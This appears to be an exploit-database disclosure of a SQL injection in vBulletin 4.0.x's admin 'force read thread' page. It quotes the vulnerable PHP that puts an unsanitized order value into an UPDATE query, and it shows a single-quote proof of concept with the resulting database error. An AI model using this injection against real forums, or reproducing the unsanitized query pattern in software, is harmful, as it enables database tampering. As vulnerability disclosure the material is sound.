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vBulletin 4.0.x SQL Injection Vulnerability

Author
n/a
Risk
[
Security Risk Critical
]
0day-ID
0day-ID-21029
Category
web applications
Date add
26-07-2013
Platform
php
# Exploit Title: vBulletin force Read Thread 0day            #
# Author(s): n3tw0rk                                         #
# Contact: Mail:infectedelite@gmail.com                      #
# Product: 4.0.x                                             #
# Software Version x.x.x                                     #
# Product Download:
http://www.vbulletin.org/forum/showthread.php?t=241754&page=18
    #
# Google Dork: use your mind                                 #
# Homepage: d4tabase.com                                     #
_____________________________________________________________#

The exploit is caused due to a variable named 'update_order' not being
sanitized before being used within an insert into statement.

if ($_REQUEST['do'] == 'update_order')
{
$vbulletin->input->clean_array_gpc('r', array(
'force_read_order'   => TYPE_ARRAY
));

if ($vbulletin->GPC['force_read_order'])
{
foreach ($vbulletin->GPC['force_read_order'] AS $threadid => $order)
{
$db->query_write("
UPDATE " . TABLE_PREFIX . "thread AS thread
SET force_read_order = '$order'
WHERE threadid = '$threadid'
");
}
}
  POC
 You will need Admincp Access then go to
site.com/admincp/force_read_thread.php then in the force read order colum
put a ' into one of them to show this
 Database error in vBulletin 4.2.1:

Invalid SQL:

UPDATE thread AS thread
SET force_read_order = '1''
WHERE threadid = '5161';

MySQL Error   : You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use near
'5161'' at line 2
Error Number  : 1064
Request Date  : Thursday, July 25th 2013 @ 01:20:52 AM
Error Date    : Thursday, July 25th 2013 @ 01:20:52 AM
Script        :
http://d4tabase.com/admincp/force_read_thread.php?do=update_order
Referrer      : http://d4tabase.com/admincp/force_read_thread.php
IP Address    :
Username      : n3tw0rk
Classname     :
MySQL Version :

#  0day.today [2024-09-28]  #